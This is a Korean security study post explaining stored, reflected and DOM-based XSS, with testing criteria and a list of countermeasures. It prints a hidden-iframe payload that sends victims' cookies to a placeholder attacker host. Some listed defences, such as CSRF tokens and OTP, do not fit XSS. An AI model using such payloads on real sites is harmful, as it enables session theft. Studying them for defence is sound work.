본문 바로가기

Information Security/Hacking

XSS (Cross-Site Scripting)

반응형

* XSS : 사용자 입력값 필터링 부적절로, 웹 입력 폼에 악의적 스크립트를 삽입, 희생자 측에서 수행되게 해 비정상 페이지로 이동 또는 악성코드 감염, 쿠키나 개인 정보, 세션 등을 탈취/변조 하는 공격

- 단순 정보 유출과 사용 방해에 초점

 

 

* XSS 방식

1) Stored XSS

Stored XSS 동작 방식

- 사전에 악성 코드를 웹서버(웹서버의 DB)에 삽입, 삽입된 자료를 요청 시, 응답 페이지 전달클라이언트 로컬(브라우저)에서 악성스크립트 동작

<iframe width=0 height=0
src="javascript:document.location.href='http://공격자IP/hacker/attack.php?cookie='+window.parent.document.cookie"></iframe>

- 위 코드의 경우 iframe 태그를 이용, JavaScript 실행, 피해자가 해당 악성 스크립트가 삽입된 페이지 열람 시, 공격자 서버IP로 사용자 쿠키 정보를 URL 쿼리스트링의 Cookie 파라미터로 전달 (width=0 height=0는 피해자가 해당 게시물에서 위 스크립트를 확인할 수 없도록 하기 위함)

 

 

 

2) Reflect XSS

Reflect XSS 동작 방식

- 악성(변조) 스크립트가 삽입된 URL 또는 메일을 전송, 희생자가 액션 시, 취약한 웹서버로 전달 후, 응답 페이지에 해당 악성 스크립트 삽입(DB 저장 없음), 희생자 로컬PC에서 악성스크립트 동작

- 위는 <script>alert(document.cookie)</script> 악성 스크립트 구문을 삽입해 놓은 URL을 희생자가 클릭 등의 요청 시, 취약한 웹서버에 요청 -> 희생자에게 전달되는 응답 페이지 상 해당 악성 스크립트 구문 실행

 

 

 

3) DOM XSS

DOM XSS 동작 방식

- Document Object Model(DOM - HTM/XML 웹페이지 내 모든 객체들을 조작, 관리할 수 있는 계층 구조 형태 모델로 컨텐츠 동적 변경이 가능한 문서 객체 모델) 기반 취약점을 이용한 XSS

- 희생자 브라우저에서 응답 페이지 내 포함된 JavaScript(정상 스크립트)가 동작, 이후 DOM 객체를 실행 할 때, 포함시켜 놓은 악성 스크립트가 동작 (응답 페이지 관계 없이 웹 브라우저에서 발생)

...(상위코드 생략)
+document.location.href.substring(documen.location.href.indexOF("default=")...

- 응답 페이지 자체는 악성 스크립트를 포함하지 않으나, 응답 페이지의 JavaScript가 DOM 객체(document)를 통해 default 파라미터를 참조 하면서, 악성 스크립트가 동작

 

 

 

* XSS 취약점 판단 기준

- 웹의 입력 가능한 폼, URL 파라미터 등에 스크립트 삽입, 동작 시에 XSS에 취약하다고 판단
(보통, <script>alert()</script> 처럼 간단한 alert 유발로 테스트 진행

 

 

 

* XSS 대응 방안

- CSRF 토큰 사용(모든 HTTP 요청 내, 예측 불가한 임의 토큰을 추가,사용자 접근권한 정보가 포함된 토큰을 이용,세션정보에 포함된토큰 값<>요청에 포함된 토큰값비교)

입력값 검증 시, 웹 프록시에서 우회 가능한 Client 단 검증 대신, "서버" 단에서 필수적으로 검증
(htmlspecialchars() : html 문법상 특수문자 기능 이스케이프 처리 지원 함수
strip_tags() : 파라미터 값 출력 전 해당 함수 사용, 넘어온 값에 HTML 태그가 포함 될 시, 태그 자체를 삭제하는 함수)

- 특수문자에 대한 이스케이프 처리 ('<'과 '>'를 '&lt'와 '&gt'로 HTML 변환 처리 등)

- 쿠키 미사용

- replaceall()을 통한 스크립트 금지

- 스마트 스크린 필터

- OTP 인증

- 주요 페이지에 추가 인증

- Referer 체크

- HTML 태그 허용이 필요한 경우, 태그 화이트 리스트로 필수적인 부분 관리

반응형

'Information Security > Hacking' 카테고리의 다른 글

SQL Injection  (0) 2020.12.27
CSRF (Cross-Site Request Forgery)  (0) 2020.12.27
OWASP 2017 (Open Web Application Security Project)  (0) 2020.12.27
세션 공격 (Session Attack)  (0) 2020.12.27
네트워크 스니핑(Network Sniffing)  (0) 2020.12.27